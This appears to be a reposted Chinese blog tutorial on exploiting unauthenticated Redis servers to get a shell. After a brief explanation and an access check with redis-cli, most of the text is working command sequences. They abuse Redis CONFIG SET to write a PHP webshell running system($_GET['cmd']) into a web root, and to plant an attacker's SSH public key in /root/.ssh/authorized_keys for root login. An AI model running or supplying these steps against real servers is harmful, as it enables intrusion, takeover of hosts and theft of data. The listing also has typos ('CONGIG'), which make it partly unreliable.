redis未授权访问漏洞那拿SHELL

一、什么是redis未授权访问漏洞:

1、redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘。主要用于快速缓存,数据转存处理等。默认redis开在6379端口,可以直接访问。并不需要任何认证信息,由此带来了巨大的安全隐患。

2、如何验证redis未授权访问是否开启:

1 #使用kali或者任何linux系统安装redis-cli
2 redis-cli -h target_ip
3 #成功即说明未授权访问。

3、未授权访问如何拿到shell呢,这里讲解redis服务器开在linux上的情况。

(1)写webshell:

条件:有web服务器,根目录已知

1 CONFIG SET dir /path/www/html     # 修改备份目录  
2 CONGIG SET dbfilename trojan.php  # 修改备份文件名为我们的shell名
3 SET trojan "<?php system($_GET['cmd']);?>"
4 BGSAVE  
5 DEL payload  
6 CONFIG SET dir /usr/local/redis  
7 CONGIG SET dbfilename dump.rdb 
8 #最好使用CONFIG GET 看看原来啥样就回复成啥样  
9   

(2)写公钥ssh登录

 1 cd /root/.ssh/
 2 ssh-keygen -t rsa
 3 /root/.ssh/id_rsa
 4 vim /root/.ssh/id_rsa.pub #==== >public key
 5 config set dir /root/.ssh/
 6 config set dbfilename authorized_keys
 7 set x "public_key"
 8 save
 9 del x
10 config set dir /usr/local/redis
11 config set dbfilename dump.rdb
12 ssh -i ./id_rsa root@target_ip
原文地址:https://www.cnblogs.com/KevinGeorge/p/7995462.html